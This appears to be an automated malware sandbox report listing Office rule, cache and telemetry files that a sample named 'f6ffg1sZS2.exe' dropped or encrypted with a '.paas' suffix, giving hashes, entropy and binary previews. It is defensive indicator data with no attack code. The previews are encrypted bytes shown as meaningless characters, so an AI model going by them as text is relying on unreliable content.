Preview:	<?xml......$w..8q...C....i.H..v...K&...........-...\|.....k.n6p.....n.5......{...T...*.....n.s...pE.fX.<2...k..V...(tS.r.E=....T.p..z17.m...>.q...6.....hF.....\lv..X...%..]5.....y.@...G.......#'1..J.H......IP+\|....M...-A.ox..7H.U.._.3D.._..L.._{2.`k.u............6..(...C........,[.#....sG...fH.&.lZ._..XQ.7..f.....@o..>)[....m.oN..~..D-.d.!}.'.u;...W.A._..w..h.9..N...&....t........v..>`2.Ac./J&w.]...Q.....EN.P.r.>g.~.P..._!....%.=.t..+..Z.........w....?^..nz..n.O..N..d-Qa.O\.!.`%.# .........xk;"..#...m..J...W.....u......O..F.VA.@.-....>^.-WE%3n.QO.!22..D.I.....x~..b...L..>...:..(...o.{'~.4Z.b.:.".g.7..m-..,n..Z...p._...c7.I.;..%....F..SM.:4[]c0..7u.p<..F/.2....#..a.]...F'....`./..Z.G.n.,.....Pa...0...j\E.:uLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.641494678855028
Encrypted:	false
SSDEEP:	12:hiJby9ntZOsyxPzYIVfEY7/O0rmEcGD7iI5YRxS2cii9a:hdtDEP5VfV72px1yYJbD
MD5:	E3E94D5106AAC233DC9A3899F9A8AEC5
SHA1:	4973E845E99D3A45D46D4FDADDDADA1C70DDF2A0
SHA-256:	4AE98F5D5C1C92DA3B45F1555B64E219C1039BF439D62B13D5CA02A7749EDB87
SHA-512:	F5CC508DF994B929AFA8B1A22D7C6FFF40CDB2FF4182E956EBEBD326DF55D1AD6516479B7963E910EFDEB34B2E7F0D0FFB6BA8C2D67EF40FB48C4C6C9F6EBFE7
Malicious:	false
Preview:	<?xml..R.........v..]....yU....^W.>y..>H...).O.R...}.I...v8ew=.B.ub..y.....X...9.W.....D..b..4^0.m.)...0..3.....].t.s9.3..s-=.....@....=...B..G.b^.a.q...;9._..-.8....:...x..V1U>......P.7...U.KC....c...o9....O.......$Z.......\|".j.LW.}.):hC...U.p...,.r.9.e...C..e"{.......KQ]..O..^.._....P.x.'..~?.P.4 .:.]/.....4..1.....+.E.)......\.{.....t..vW..N..}"......G7..TDb-........h..5W.'..N].Ef5. ...W..{.{....MN..H.)....T2 .7@R...j...@..`.......Q...-..Y8.S.S{. Z...<..<....f.&.....?9...u..^.B..b0}...S...".[....,...Z.o....;S.*..{.QLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.723663638983231
Encrypted:	false
SSDEEP:	12:+oxja2x/SaD38L6BAdWDDnNO9rnND8ayq3ch6cPsyxS2cii9a:+UlIko+LIViayu5obD
MD5:	C3C26E58F3B6CFF02031CF35A23A51A6
SHA1:	B54DA968562D510627D8CEF419194A56B6A1612F
SHA-256:	1F80B251870E297012507C9A610F58701A0F63D654CCCBCAD1C003FF09D2E365
SHA-512:	0DAB5839EAE79000257D2303AA1CA97973619D16096738815304692C4C430F86AC0BD901F7116998A7B9D80FCA429917AD7864F928E4D8CD02E3B15CC64E6B1B
Malicious:	false
Preview:	<?xml.G^.Kn@.9B.....;.@-.....#~.i.X../..3OXB..X..P...?iFJ@.Y....%....o.o.!..A~....=>....5$..O.l..CnrD. %.6.z.....;.1.J.6..8.W......0.'Ap.r.\|z#.o..-..#@..h...D...+..W..X...}eO......3..X\.o..0.....D..H+8.bT>..?.n&...}.........YUYH...c!....K?P..H.'.........}!......6m-...S..j].@.zH.y...d}...........S&..t\....s...)t..!.i..h.y.%....~.Z...u...,..T.^L...Y......"...".Z[l.A...a.-.l......i..I...I..!q..5...i.g.!n.Q...>.#.c>K..A...1Cg.mD......K.4......F..n..........TVqR......]../..HU...>?t;.B.Ug..x..z.D.g......u...-.....8..M.tZ...l.8..s.g.._.......Z..j.j.YM..@.-...e.%5Yu5.FU-...Q..d....L..~..I.9....8.w.L\|DC.a..~.DB&BE7...m....'.^0Fo."tCo...\|,..\|4..._NT..=a..#...,..>H...w.$...Sc..)j...a...&...I*]y1Z.I..o/v.j._?.M....@.4...z.2.Of........tvLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.972953468253914
Encrypted:	false
SSDEEP:	192:fbjrfHl7xNFrlRID30ZQxm4jmfAYC4djynq4DWsO:/rxDFcDk2zmfPC4MfSsO
MD5:	8F250EFE6B65D9A0890DC2FA42CB9D1F
SHA1:	0905D2EDD66F8D557562FC633A3F82278389352C
SHA-256:	F8C940BDD7AD0946A216F05A53AFBD7ACF6644A535FC45309CD70A244E1646F5
SHA-512:	37CD462DC820A76B5CFB762E7ECC76B2DB3A0FA744D222A2BBB111E34B929D38E1ED3F4858CEE832BAF98211336F4C401FE354BEBB7EB7855782638E417D4366
Malicious:	false
Preview:	<?xmluF...8p..JT....Dv.6....=....7 ..Uv..I.D..3m...V;/...^fg.s.>...a.c...Y' ..or..2..B....dM.qT.,:_.....%-h.G.B.(.V..`.!..B.$2...&...le..).OeY..m%"....s..zC`....\|.U.dQ.Lm{...c.b.P.$X..1y.0.p.$.g39UvSI......n......x.c1.3.S...n..#.\j..-Vx.......]`.i...!n-....a..:..n...UM!.>1csH.lc..I.S.....A..3...j.....$L2.O[.j<L.V_'..:\|..7(....S.O0..j..... .8.[:.}/....Qr.'I..Hb$"R....$6.M..l........7.....?.x'......R.%..K..P6..._.\...~..... ....ca.x...b.]:sb.....U+E.......be...DHin..V'.O....yR($.G.............bNM.P.fx...)<..4..........U......Z2o..!..;....%:..E...f[>.c.y.D.."b..L....L...V.R=......"...V...R..77j0..i.+w...6.u1w-..A#W.....\|.k.GS.\..P....Q...j.5kyYj5.G...!.....W....[.A..,k>W.:..1..9...:...}a.~v.B\|.<..u>.y...y...M@.Z..9t;....d+V.E.T..C>.Y_o...*.............(..Z..\.....f.'j..........6......Ny.v...C.......<.rz.(v.....w9^.;.Y...cD...)@.8l....y.~..0p>6..$.r.B.Cl\...~....K.?.EV..bo...jb....c.B.8..V.,[[.8.l.X1.....k..K.......%..(M.f&L....Q.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170003v1.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1029
Entropy (8bit):	7.829725892563972
Encrypted:	false
SSDEEP:	24:BHYXmqMNBAv2xTUMuxYUjUZ8CF9pvyXxo58oBGhmbD:BPqM8uNHlmYwUGh0D
MD5:	A9D65B4FCAAFA122C011A30B6AC222CB
SHA1:	C773AB4D376E3E25970C683E826A61DE0D4CC138
SHA-256:	7E28F7C8D5B5DA0C63F92A79D1265B3B381EEE949EE024A9459671BD2C77C646
SHA-512:	F7CA1AFF6E00B050241C7BC75D4034712B429AF02384D42894AF2F8AE9046B23630EC42FD3FBDB9342F55302972EF99B9D6254A521FAB6FE094888CD68076B9F
Malicious:	false
Preview:	<?xml...}l.@..3..B.8.p..4..2....YK.#.].B.#...K...<...jA..U.. 9.%...8..{......?..tFz)..a..~G....4..Y......)7Ue....b.Dg;..)\A/..........y>.......A.:.....R...~...4.\|6{...j..!.e_..i.G...O....h1..._J..{t.....^...M~/f...<..u..d..T3v..@..~........a,.....hE.>..W..#.}..B1.\|f....8..gZ.3:-.I..dg@tM...jd...[_).....Ff.J...Y.P^.95...}..G.p.]l.N.O=-..y.......3n..o.Q.9s.!.....h..Q..&.r.\|...Vtk.7...c.;.p....4V..bl.Xr]...h...YcT.n.7..+S..@{\.\|.5.pfmN.5.B.H.y...K..[.S......a...1V.T0....h...g..[....eM7..1L1.....U.d....C(.I:....A3J../....O.^S]iJ.].&R...0T.:x...-.3aN..D&.Ah.....#x.my.a.....}2K....0.bF..a".....t.....F.@9:..Z.._..y.U....".r....p......s...}5..X...n..1...&.T.?.._..#..Wy..,..@:..c^..L..w.....g.oj...U.h...U..!.U!.O............_....0..=...8$.-.7.u....i.m..T..\Vrh...J....h.G..q.D./.r.I."..s...(j....p._4...$h.cz......S..q...<.@.3/...z.m...e.>....[.Yc.lPi..l...X.^..%.I..P)..?..#..,Z..q....LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170005v2.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1040
Entropy (8bit):	7.807285562808987
Encrypted:	false
SSDEEP:	24:qYRAw18uhl/nhCAH0d2eKVbNJfe6c+6gJCwUa2x0mZWn/rbD:hig8u3hzH0d2tXef+MwUa2umoHD
MD5:	609D36E7FBE317123EFEF7E1DC1ED9BE
SHA1:	01CC63F6C76734A39D36CE8CEB965C323AD1B7F4
SHA-256:	657E5CED9D300B85F85B5DA0327D7FF43A185559595B8968EC5F290C4FBE7A63
SHA-512:	FC9EF06DB0F23D3F4EA7E4E6578E48E0DDED6A8C98B4C914429EAB20F66698187801A2363FA4262D0829947BE77878031D900405F8A3F4CDB8F2F52587BF18AB
Malicious:	false
Preview:	<?xml.(u.2.X.?......(..nyl.f.f..)......hg..5t(....k.O..,.v.f....7.I.f.r.$V.(....Mrw...:..A...M.......u.4.....Z.V...q.<......O...L..../K..wW<..`a. W}.x.............`T...].DHO/...]v...._p.xc..=...,....r..m.N1...$.q..v..{......S...x7....i.)......."fR. .4X.(..UK;...A..Q;..k-xR..r1..RW..V._.:^....}.%..?...(a..S9..vp.fj....{._..gb?C..sO3.....)u5....w..>...&g.G......&....m.OtB,.Q.._..).I...*..O.8.V.3Z_..5R.S.O..#U..E....\|..Q8.D.....K.x..n..O.J.0Jd.7...D.O......../.C.......Z..G.;.W....d..2.\...7.eIt..s.8...s..[........\...&.~...`...x..._..j....j....EA....N~.s..V../F.%...c.!f.....%.uO.../jM.Z........Y...)~.OT......m..=o..%$..XC+.J..5:...e.[.~..:...-.O.3.(g..N~.g...e.'.X.j..r?...a...t.y.@P.....[..............`.W.Qv.<.$..t....v.U.B.\|j...8..X...^..N..t/...q......p.......WO....h.(.Q...h&.+a.....8......7.n\|.....)....}.i5..$......z4..\.c.o=1PuH..%O[....x..s..!.Hu.Y...Cw...".4.F....U.p.>..fu..._/.ZsZ.Z..~S..(@...x..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzy

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628754604045115
Encrypted:	false
SSDEEP:	3072:34ApzSsiGJleQhilBuA+v+UODhj97Xifk43FWiqX0P5M:9WsVH1A+WNiMwqkq
MD5:	26332DAB4DE24C1CF11D2D1A37D39F46
SHA1:	E9B8B2D6A5FCB28B085A86087F6CB9FC5CBB15C8
SHA-256:	4E74924A2378BF7226F60846AC317E86FB48E4580B529AC76245C032E851E4E3
SHA-512:	DF33219CB1D608A9021F211DCBE0C890FEDACE03F22B615E1C25BE71F3310EDB347B0317478F7A1EED98BA8DD04DE63E7071418445F486E2BAE7FAC748778B3A
Malicious:	false
Preview:	<Rule.>#.;Ta...$.d.:.N..t`...@.Zr..........9Vl...;4....5...8..la......-.....X. %..G.).,?D..)....7.."..m.RQ.....H.J.^...........i..\|`.F..nv2.\.M.....B....w.$._fx....v!...QE.%n_P.....S.........\|.....2.....T..D..A.b..kC.$}.s.E.....v....2N.Y....D?.."..So.......bF}.......\......7.hs.....%.g.....K..Z.._..(..... !..X..6....>w..o...Q......Q..`e'PlI..plnd.i..\|.7...oi...s..X....FX.P......^.".P[1..l.'.8$.=o.{.B~..?._.?...^..fy.0... ...)+"8u.E...j...znt.....w..kP.............8.).)...^.\g..WV.[.....m.v......?.[......)n...z9yly...oY,...........m.....&.D.i,.,...~...U5]..)[M.%.......S\..rr].;.....a..........S.dn]OW..3ZL.@g-...H1..[....g...D....3../.........."kz.......U...fQ.2.....8...e...o........v7x#.......x&I{.n./ ..$.....m...H.j.....Y...].>*+{F}.v.U{t@ ....O.W.,U..c...oz...}._Q/...P.%h.E....2..B5.M..-....m.x.....SKe....y.M.....5..:..kc...bS.t=..D3z-a....]...3.N.)]...y.[+.G.t..Vq..$+.1.WQ....Urj..bnU..1wf:..bh..{.a...>Z.Y..n......F...

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.515359308769821
Encrypted:	false
SSDEEP:	3072:5weC/HyhiJ/VlzMOlBCGAZ1hQkquB6Pz32Jt9C1v+N+veLogMZXrZ9E:nCqhiXoZ1hbkapClk+vWJQZ9E
MD5:	00B655682231D97722814D9B85AEC816
SHA1:	0654A69C554A215DCAC70EECB003C3B06BC4592D
SHA-256:	797B877CE4E4B216EE899329096E1B2D44122CD875AB458930E76AC31D345DD1
SHA-512:	4876F50A0193524CBE5336B55EBDA7540FC8BC6B7B9E02FDEDA3045B0985177D3611E6C45D6A14EAE0F8633C1356D6ED2A3E675134D786CA1F67535EFC903F5D
Malicious:	false
Preview:	<Rule.?r./.Of.MW..t.._@.Wz$..i.x....K6`....X.8&....N)......^a.H.J.0.......WV^........2.E>..MG.....}....swP....s.L..F...&.....r..g.D..-..c.t.J.G..........[o..d...6A...(.H...{...V....5.....3W..F...Y%f@.P.C6..o.=\.9m..x"...Y.fr...Zk...Xh?h...%...Q....EBx.2f....4d"....>c.e.@....fTN.W...d..wJ.o..q.....~.o.U....KD=ya.g.Hz..[..........XZ.f..{?...........'.}.h.\8.'8.k?..4...d.HX. .....X&...}..W_3._N.f..o....\..)5.1..Q..s)....YscH.C.l.\|..{...:.....mF.K.r^..R..#},.}..qz..T......W.Q......}.,bA.....Nn...D....I..:..s.tC!......f...7.C.J5.7&.1.).f...S.....>...=R.s..;.R....q......"..f..0......Y....{4.D.+%....p........\'.b.",i.....A.....,.>z.xO........i.3....?..`ia.5b(.Q....h..$.E.%.~..(L-.....3'...x..%..@x....5W3....3.I..Z.Y.p.^.`..B...].~.Cq]1.Nga......Q.n....VxU?.....H&.;..t...T..\|....=....IZjRZ.q...,....),e..Z..4BX..&..s;..7....g.........-.L...=..<+...C.=C.~P3)@_....N..N..&...Nh\|=.<.).oef...vd.@.......J.q..Z.......7..sO.......B8u..v.......WCt..GZ.

C:\Users\user\Local Settings\Microsoft\Office\16.0\officesetup.exe_Rules.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.5160139539523385
Encrypted:	false
SSDEEP:	3072:L2JZLyC8P5Ei7wIcGawi296IUaN8Kkxl6zWUX393mch11SNh:UMlP+ima6tK0vOxmch11SNh
MD5:	A94E1F118F04903B97ED336C8C43161B
SHA1:	E0F52FDBD9A92F3F994630B94554E830B8101E95
SHA-256:	0151765DD45C57F99DD3685FC67098A48853306BAE76CBC1758704FE57B5B653
SHA-512:	7FE7FC61BE66B32A5900A4FFF89DBF974362A5DF1D64A383B707359C85A8A25CDD1B7650694A88873D14196FEE9B39B085D5A7F801220A5A50E0AFFDB8D67445
Malicious:	false
Preview:	<RuleG..'.k...3...S...U].0.}.2...1..(..%.7h......(...?......3..Q..{.~D...\|W\|6..".....D`u.....#pz;.@.Y.&].....S....U.+sAN6t.-p8..........s..w..\|l..8._..w\|.'..^pM..w.i7.u.....;.w....W..}....b.k\|.!N#~3...%...a89v....r.y...S..../....%.z.l.b.F.....Qj.}.&..=.!....,B...A...e._r....#.$..G.~M..(s...j5f....=.C....a..c1'.....[.&US...Tj>h..?mv`_.....J..Z.......[..........<j.K.......$~.y...2!j...NEg.....,...pG..]1...~tb.tE.Y....c.d:..a..;.th....2t.N...m.Ny0)..=.k...mZ.;E.....X....9X...U.?>f}......^ud@..]...K..J...C2......4Qf;.?{.....xk.....y....+.7..js..D.v.mR.........._N........"....0.#.....m.j.MK.@......T...7..D..{I.Y91..+..c.r.eM.J.=..I.....4....N..41.p......P...G..;..R.7...N.:..5jz...7.......l~..-......sYOS..RGr..>v+T...."(.l.S+..T".(.CL...`. .)....\|.c./..n...B?..:..9E.......>.......S).0<...&....^ ...U@j........O#5....jf......8.6...M.\|~..9.@.u.../.QK.P.-.....$...>_..1....pZkr`F.]&Rp,..P0.n..*$+..{S...0.o...j4..M....4...Q..tk7Cc%...D.j.F

C:\Users\user\Local Settings\Microsoft\Office\16.0\setup32.exe_Rules.xml.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	135031
Entropy (8bit):	7.998445700502135
Encrypted:	true
SSDEEP:	3072:kMJTj5yORsGJnflzd+qZbJMk0yd3MuHN4AkyhYBB5YEoIXYQ4:kaT99RpnNz0qZbGad3HL+BMEoIIQ4
MD5:	40AB2F2515B4A43669CBE0505FC187DF
SHA1:	617BDD1431DB83336A94CE9640F7163197F384C8
SHA-256:	A26DEFF4CAA392C5FA520C0291A575E395F5594DC8DE41EF28D2F2CF0EFD2572
SHA-512:	BAD8445239665F2A5CA5B8B763039AE6AB81B79425B470F10DBB6FA417B779AC8620C13BBD5C1AD10EEAA3700A2CE0BDE1BC49AA11B9A146319A1993F10AE970
Malicious:	true
Preview:	<?xml..C..0.e...=.. ..{.Ry.9).......4].....-2....c.6..Z)....T.5o.9..).3%.........g-......!:O.......w)...?....".X..z..s..s..A..r..c......(...#.:I3gP....3)3...."_..<4.5...Rm.7-..\|...`....?A..-...q.1.\|.X.U.....1.....~.\..N.dK....dL.F.^.._p..E.m..".....{.......1...!.>.#{.N.Z.,.m^.?Q./.........5Y.+.[..Z~.s)..G.k.9.&m...}Bu..zG..5.....xkq`..\|.g!h.pT..cx..x.]..@.WWl..UH..E7..x.f.5[.p....X-OAVW....a...0...Wk.U.....&...h..e.........N.i.j.C.dB.H..)...Bq8..'S.,^M.E.a.[F.Lz...?...0{............OI%.......'2....Q.#hW..;..!j.[."]d........pR.....B..G.^...)... .kDM.:..h...7..l!P.}...P...Z.+.nmx..1.:SQ."..TF.U....._^...+g..k..t.^........Z\|..}$-..:i+k....y=.9V>.m&.....7.9qnXa...Em...p:.^y%....?..V....\|....tU\7.3..^5....p..w4T.O_m..$rD......)....T9....d.aE.s..11....u.y.U..$..".hO.....+.sy ...W.:.<1..D.]@w@E.a..C.../..s4..6h..}..h..}pys.?....o.m...4L[.^.B.+?."7.oN.eJ....o#.?:S..D'.2.\....A.E..).<..Q...}j.t$6....8....YY5.8..n.J.*..g.!y..e..m...

C:\Users\user\Local Settings\Microsoft\Office\Features\1-3FeatureCache.txt.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1152
Entropy (8bit):	7.82906698246048
Encrypted:	false
SSDEEP:	24:FwYt3DjyCMF6GzVtsikjM1RqJitPf4TP4L7MVVxcbybD:LDjyt6GzVtsikA1MJq4TxVobgD
MD5:	29663886782816C4B4C8E87B7014FFC7
SHA1:	F6D21573390AC6A243CCCB58A5BAAA99B1623DB1
SHA-256:	359F6A68A0C13591C7E94CD556FE17AC7FE3345B250A034F1C20C9987822E4BF
SHA-512:	A3A221D6C5D1407BEB74112E35745A2798887CEAEFA1688FF76664104149FB53EC456F28E1CFAA3FE843D8835A7810FAD105CAA02661DA9E1DD1AFB3EBCC90F3
Malicious:	false
Preview:	1.1.9.c.LV...ejSf.G['7.t..Gk......&..]KC.d..t+..!.:......)p..=.G...>..o..u'.A~...(....!d...Y .\|..ia_uf..\....t....[.e..W)Ba@\|.DP..K=.@YN}].KR....5...1.W..Q....E...x.P..0G.qF...b.g..W4........cg...u........TF...,.3$.+i...^.....h.......<j....h....&.5..\..a\|.?.....\|...rrc'.Y..<..{g..[.Q....kH...).s..M...c.^&.....e...(l.....u....Z2..Y?..q..........\|.Fy.'...`:t..h..O.d^\|....0.q.a_.....m...4..r..<......1^.S..a..........^.0.\\\|..%J.5...+...1C]Md..0..aC.'....{..\|.W..Jaox.KNi.@..B.........W.....7.....}.j.R[..su2.. \?..'X...u.......\...\....(..>F.q..:....[..7...w.7 ~....).x.NJf3.C....Y...^.*...!M.Fu.Ox...&$.6......Qb.U[E..16..R..E_..X.....d.v.4H.....80.G.\|...A...I.d........;..f9V............ .N.....R...........]..LE.....X.f....>..m....>e....T].qDhja..$yan..uEO....T...s5u.@P_3.O.....1.Arx..r.,...j.N...O$.Ii.+si...n....-.iC.e...)-.7z/....%Q.l....TQ..t.^.;...D......!..n......\..{\..A9../=].8o...]W..dy.G0..&j6.....ZI..L.

C:\Users\user\Local Settings\Microsoft\Office\Features\1-7FeatureCache.txt.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1170
Entropy (8bit):	7.814567874331733
Encrypted:	false
SSDEEP:	24:wdPXnCq/65PxMkoHSYd6hwomQPaQCZ3VwwLhxlSf1Ah7eo6F24MobD:wpXnCqoxNYwhHhPazxj5GWhnH4MyD
MD5:	05EBEBDAC55CC8605FB145F2FB6E305E
SHA1:	47DC9A8A1928B7D2750E65AE021FC1EE1D5E8722
SHA-256:	042DAF32AF12BDB4DDAEFCD2C112AE4F54CC4B78995B51218542BC593388E036
SHA-512:	C56A9E8EFF257CD72D203718389A2F76BED2A09E5CB00674B9155D8D71A3037D394F410683B7DF211BA16268CAB785E123E0C58E5E8D4E0A0456F78A87D907AF
Malicious:	false
Preview:	1.1.9..i.I_`..@...W..3Q.%+....0..2..u..;4.Tz..,.E.].R..J..`.]`.........e..'...N...3..`.....)....Q....}4}\.7.rvsz....Q.:Qh...W.0.hSpf.K!.u..5sO6.....>...R..I.......R.8Z).6TF.rgLk...c0KnL.M.._(.....-zP.........n.I..dr.....r..'.[.....X..T@.g.\t.w.=.9.1.IK.?..I..C.T]....rN.P..c....%.L.q?...Vs..E.K....- gI..<RNY6Uvg.{..^q(<..E... .O..3.P6..>.w.....W...rDHu.Q? .V...n..AV..R.!2{E.(..x..8....P.M..Q.....Nj/...S.ELq.O,.."@...B..{T...:....i.A..r.#.o.#......S..7.....;.+..f......[.Z&...G.O.;),...ZM....8...l..b.s..:<.S.U....d../....Jl.....p.n.:.g.F.r...T...g..?tO(.q.....-.H=.....X..b......m..+.ce-..OE....%...)&9U..9`E..5.1.e56k`........[....{.....7ixM..s.P....1Z..D7..e?xhz....[^S.?...\..{b.....R.,.9.$`BFy......@.M.=...Q.....n1/..]9....: .i3....C.:...{.D$W...k.M$.tvA9gT...O.......u6..}X...}+...f7..r...n..F...73....h....F".w....9...e..v....:.h...g.X(pJ.XS..........(.`;.."..DS.[Pk2..c...F.G6..:....K....)8o...B.p=..#h..f. S..U.0~.BBX..:.+.X....>[[......

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	37198
Entropy (8bit):	7.99483811498951
Encrypted:	true
SSDEEP:	768:JQaaiHO2qvabNi0nyUxqxCQl3BJAXbOXF9RLMQa+aziwcYbca:0jCb3nyoO3BJEabRM3+amw5b1
MD5:	7BF3774F57106F96CCFF979850DEC2F1
SHA1:	3FCE89A40AD65B2F69672A37D58A8FA27672ABC2
SHA-256:	1D353F6EDCA919741743E1A86904D4F598AB4B2FA2E5FD4D65C6E5F5234230DE
SHA-512:	38B73AE9387258CA6E0467FA275FCCC8BA0DF6A1C377100B19E925386045C8ECBCFB8DDE47C866BE71D5D31BFE57CC1AAFF67E4808F733E7F539E4499C541755
Malicious:	true
Preview:	SQLit...a......Z.4....L...wwP..].zz2.....1..G..L...,N........$......./.@&.6sY<..+.g....eZ..C.........5..y..@..x..y.=...._5HV..y+{...>.O.z ..F..@..{J82..`.".\|/.d.c..t..!?3<tY.+.PpA.....3.!)!;)..&..\:.y... .E.o..=....$...6.{...!.....&.\|.c.8...........4...F..d_...f. &...g....~.o.N..B.....[.........N...v[...!].7cf4E...:...`2...6eBGIT.y...{j+.jJI...yn....J=...}.1.....'.W..._5..%..<...s...c....u..}.........j....s}l..Soki,Lf.E......g...vV.+....'U..] h.Og>..6.i....f.T..A8.r%.F...ke...$.........\....>..%?...{OK.z..H..xa...!\|.."....?..g..[,Z.<......{..I.K...TMx.P..O........L..'..].o_........p.)....8 ..S...G.XyA...~w.op.&..QnV&=E.N.CH..G.w<.:.....iz:/.W..=......k.(..lR.~..].)..YA.g.....!.y..-@..".g..+.6....l...^....N..w.....q.....wC..{c...K.nx..&$.C..P+.......~.i;[..R)\|.E...GU....}E..B.P.w&.q..Ah...=d..\|.R....g.....D.....L...{.......=4.....dP.E.>.F.......<zi....$P.G.m.>.....Z7.X!-..`....I~O....`.0.....1...q...P.^....>..v.....`K.A...,.ai.

C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.session.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	20814
Entropy (8bit):	7.9891945822206285
Encrypted:	false
SSDEEP:	384:6WYbOqr9JryxvVX75taqQ2sRxbjiP73p/8Aw8EqZY/8Jjb:6WSvYrX7ZfsjWPbd80EX8J3
MD5:	BF3C4466DBDFCDC318368FED00F1839D
SHA1:	0B9F46D1F75D6416C5CA2D46F2C01557EA6C4CB9
SHA-256:	14A6B1A5B23D96EA753D0186F6A1C5F19F3276707505AA931D41F680D42E8FDE
SHA-512:	8332668FA1B995A23382EB79DA9C8EC4F56E3D159B3BFF53B2C19FF37A8DD3403A66A02CD8C3BE6AF84B1D69A73E86BD66FAB5BE8F49EADF368485EE2DB352D2
Malicious:	false
Preview:	SQLitx........h.G.s.z...8K.%.m....Z..5.tn..2!.....Z.....Wza...Ip..c.}d....~.].U....I..r...OM.0....2...S.!.{j..'L.fc.F.}....4.n.J........nqeZ....kCX.....!:~.p;..... Qj... L...L..:......f!..I.r.b..f6.z..II.+...Mn......F.K..3..{b.y....0....!.q.'......%.,..HH[%.......^l4.f.'...\Q.J.......f...@..U....2..`.....D...rxLN.:m.. .J....st92..#..wMf.Y.L..Q.y.J<..+..t..5...<.K.5,...l;h..0.;;.zx.(...:.ml.g.z.......g...c..y......)......)$.~6..3+\....J6....D..:.u...+.......8....5dtF...02..~ .5.~C....w......r0j.+.D.)..ri0.P...a....1 {tmB.0..D.o.m.oy.3$Q;....o..P*....!.`.<h ..../..gm............'.P..p..q?.[d..M...p..\0a.#6....Yc..c....`...%.8k.V.Eqvt.[.4A..F...C0D9)w..Ek5b]Q.]._......&y.qwWc._.<.:.s.n..h.l....93...F..q..1..<..uX.k....ilV.....4.;...s\p.}2..m...G..3.l3.`. ..p...H<t.<.....6JN.s)..."yC.p..X..Y.R..(..fF..eDV.Q...O..r.J.)..n..4...K...}.q....H...;..".1^C.\|s..ev.\|.r5...O....6x{5.....U ..u...8s.3...z....2..m.FfV(.K...q....~_.y..D2..e..+...

C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.paas (copy)

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993261997267048
Encrypted:	true
SSDEEP:	384:Mc6S3S71mqqwwl6jmj7gkBh4dP7urWRdXsYKXlfHshkPH00MOolUvg:Mc6t1E6E7JBhc7agKXlfykPHqO7vg
MD5:	4D371662480A9A4166128401BC524613
SHA1:	3ECEA67792FE444DC38D4A16CE6552A768724E37
SHA-256:	98ABFEB44E54A3875B4388CD93DB0CA69D6CC89916E92F33D11E38A7EA15573F
SHA-512:	24BC9191DD3EE115C3EFE7096FF7CD2E6A1F97C1DC5C9FF71805EA2BB319B3F0CAD680AAFA49E3FB016C6DCAD5466FA78F896976A4E9780D28E138628696515F
Malicious:	true
